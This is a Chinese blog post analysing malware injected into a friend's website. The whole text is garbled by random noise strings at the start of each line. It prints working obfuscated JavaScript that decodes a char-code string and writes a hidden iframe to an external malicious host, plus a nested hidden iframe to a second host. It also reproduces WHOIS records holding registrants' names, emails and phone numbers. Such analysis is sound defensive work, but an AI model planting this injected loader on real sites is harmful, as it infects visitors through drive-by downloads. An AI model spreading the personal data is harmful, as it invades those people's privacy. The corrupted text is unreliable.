首发在我的博客里面，
4">C0m;ks ^zVW 3 Y q http://www.areway.cn/?p=175 {mmQv~|5q ?i5=sK\ ;k5B@z/<S 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
9f_Q s4 Ae|bAyAK <script>t=’60,105,102,114,97,109,101,
$@@@</VbP 32,115,114,99,61,104,116,116,112,58,47,47,
y.+!+4Mg| 102,114,101,101,46,117,45,117,117,117,46,99,
vd#BT $d? 110,47,101,114,114,111,114,46,104,116,109,
-Ta|
qQa 32,119,105,100,116,104,61,49,48,48,32,104,
-P Lh| 101,105,103,104,116,61,48,62,60,47,105,102,
uL9O_a;! 114,97,109,101,62′;
RE.t<VasP t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
M:d }
P | rwx; + <script>t=’60,105,102,114,97,109,101,32,115,
A? T25<} 114,99,61,104,116,116,112,58,47,47,102,114,
RAAu3QKu 101,101,46,117,45,117,117,117,46,99,110,47,
meArS*d 101,114,114,111,114,46,104,116,109,32,119,
$i"IO p 105,100,116,104,61,49,48,48,32,104,101,105,
hL}AgY@ 103,104,116,61,48,62,60,47,105,102,114,97,
/ MV2#P@ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
*TC#|5 document.write(t);</script>
6![}Jvu> ` <IaQY <html xmlns=”
)POU58$ http://www.w3.org/1999/xhtml yLEA bd%+ “>
)UN_,'H/V <head>
<(W:Q3?s <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
%{ +>\0x <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
y?ypRCgO.u <title>首页 - 爱生活家庭网
:[!b";pR )kvrQ6 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
[J
+5 转换字符串后的大概内容是（谁点击后果自付）：
z\c$$ +t <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
rB}2F*eT CC|=$(PgT 查询玉米u-uuu.cn的详细信息：
\.Z
/ Domain Name: u-uuu.cn
LXf * ROID: 20070901s10001s64972306-cn
Z:.*fs5 Domain Status: ok
yt1dYF0Xq Registrant Organization: 王雷
m t}3/d Registrant Name: 王雷
JGQ )/( Administrative Email:
czlovexs@126.com A&L2&ofV&q Sponsoring Registrar: 北京万网志成科技有限公司
@H61 ^K< Name Server:ns.yovole.com
aqKrf(Rv Name Server:ns1.yovole.com
UYvdzCUh Registration Date: 2007-09-01 17:54
$mcq/W Expiration Date: 2008-09-01 17:54
LZ z] 4Mf 最后PING了一下地址 都没有什么….
YWhp 4`m O ~D]C 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
k]~|!` <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
1!&m1 <script language=”javascript” src=”
}E#1Z\) http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script :[?65q{ >
A75z/O{ 这个玉米应该有可能是木马作者的：
".sRi foafau.info的详细信息：
H' %#71 Access to INFO WHOIS information is provided to assist persons in
QS%t:,0lp determining the contents of a domain name registration record in the
" HtaJVp// Afilias registry database. The data in this record is provided by
i^}ib
RQbN Afilias Limited for informational purposes only, and Afilias does not
y)mtSA8 guarantee its accuracy. This service is intended only for query-based
<Y+>a#T access. You agree that you will use this data only for lawful purposes
T~)R,OA7m and that, under no circumstances will you use this data to: (a) allow,
g<^-[w4/ enable, or otherwise support the transmission by e-mail, telephone, or
\
k & ZA facsimile of mass unsolicited, commercial advertising or solicitations
Bj*
M
W to entities other than the data recipient’s own existing customers; or
!+_X q$9_ (b) enable high volume, automated, electronic processes that send
^c?$$Tq queries or data to the systems of Registry Operator, a Registrar, or
PZk"! I<oN Afilias except as reasonably necessary to register domain names or
gfQ1p ? modify existing registrations. All rights reserved. Afilias reserves
HleMzykF the right to modify these terms at any time. By submitting this query,
jO}<W 1qy you agree to abide by this policy.
ky I~ Domain ID:D22418703-LRMS
E^? 3P'%^ Domain Name:FOAFAU.INFO
li9>zjz Created On:20-Nov-2007 16:05:42 UTC
$Go)Zs-bL? Last Updated On:20-Nov-2007 16:05:44 UTC
q@XxCP] Expiration Date:20-Nov-2008 16:05:42 UTC
_:+ k|I Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
TnJJ& "~3b Status:CLIENT DELETE PROHIBITED
4 %5 + Status:CLIENT RENEW PROHIBITED
>f*Zf(F Status:CLIENT TRANSFER PROHIBITED
{ZKXT 8' Status:CLIENT UPDATE PROHIBITED
> r.W \ Status:TRANSFER PROHIBITED
&;[e Registrant ID:GODA-040110615
G-5ezVli Registrant Name:liu hong
XPT @ LM Registrant Organization:
?xw0kXK4 Registrant Street1:beijing
o "1X8v Registrant Street2:
F.- :4m(Z Registrant Street3:
| Q$9I#rv Registrant City:beijing
aRcVoOq Registrant State/Province:
-`,F e3 Registrant Postal Code:100000
yny1i9
y Registrant Country:CN
y\ax?(z Registrant Phone:+86.860108888777
?Lbn R~/J Registrant Phone Ext.:
oW3| b2D Registrant FAX:
uA~?z :~= Registrant FAX Ext.:
@.} @K Registrant Email:bbbshiji@163.com
nJY3 1(p Admin ID:GODA-240110615
6&_K; Admin Name:liu hong
Z+2 j( Admin Organization:
70. Tm#qh Admin Street1:beijing
c+501's Admin Street2:
r*{`_G=1
Admin Street3:
h_1 5 " rd Admin City:beijing
_&aPF/
Admin State/Province:
._T N;tR~' Admin Postal Code:100000
+!$]a^3l Admin Country:CN
Y{9xF8# Admin Phone:+86.860108888777
gjn1ha"h%. Admin Phone Ext.:
#3_
@aq* Admin FAX:
m^ >v~Q~~ Admin FAX Ext.:
;lf $)3%[ Admin Email:bbbshiji@163.com
RKy! =#;17 Billing ID:GODA-340110615
QBb%$_Z Billing Name:liu hong
F$jfPy-f Billing Organization:
7yUX]95y8 Billing Street1:beijing
VM<$!Aaz Billing Street2:
d fSj= 4 Billing Street3:
H7}f[4S% Billing City:beijing
j7~Rw"(XQc Billing State/Province:
gjk ;An Billing Postal Code:100000
#'BPW<Ob Billing Country:CN
;*cCaB0 u Billing Phone:+86.860108888777
a"^rOiXR{ Billing Phone Ext.:
U\-=|gQ' Billing FAX:
E_\V^ Billing FAX Ext.:
cVl i^*se Billing Email:bbbshiji@163.com
pj Md Tech ID:GODA-140110615
h_6c9VI Tech Name:liu hong
-Eoq#ULvR Tech Organization:
ydMSL25<+ Tech Street1:beijing
.0p'G }1 Tech Street2:
3
J5lz~6 Tech Street3:
9ePom'1f1 Tech City:beijing
6eb~Z6n&? Tech State/Province:
4+MaV<!tU^ Tech Postal Code:100000
]I\9S{? Tech Country:CN
38GZ_ z}r Tech Phone:+86.860108888777
L;v.X' f Tech Phone Ext.:
pA6A*~QE Tech FAX:
a\}`
f=T Tech FAX Ext.:
A_crK`3 Tech Email:bbbshiji@163.com
<u/(7H Name Server:NS27.DOMAINCONTROL.COM
nH B Name Server:NS28.DOMAINCONTROL.COM
ZS[Ut Name Server:
PJ\ k| Name Server:
\2CEEs' Name Server:
Nh\o39= Name Server:
C7K]c4T Name Server:
:*s@ L2D6 Name Server:
je%D &ci$ Name Server:
N_/+B]r }T Name Server:
ja6V*CWb Name Server:
+!ZfJZls Name Server:
C[5dhFZ Name Server:
wNU; gz kK/XYC
0D 接着下载每个文件里面的代码：
?!O4ia3nFk 一步一步看..
AH_qZTv0{Q 
Mmg~Fn 
BWNI|pq)v 
20}w . V 
Ks<+@.DLTu 
cL][sI 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
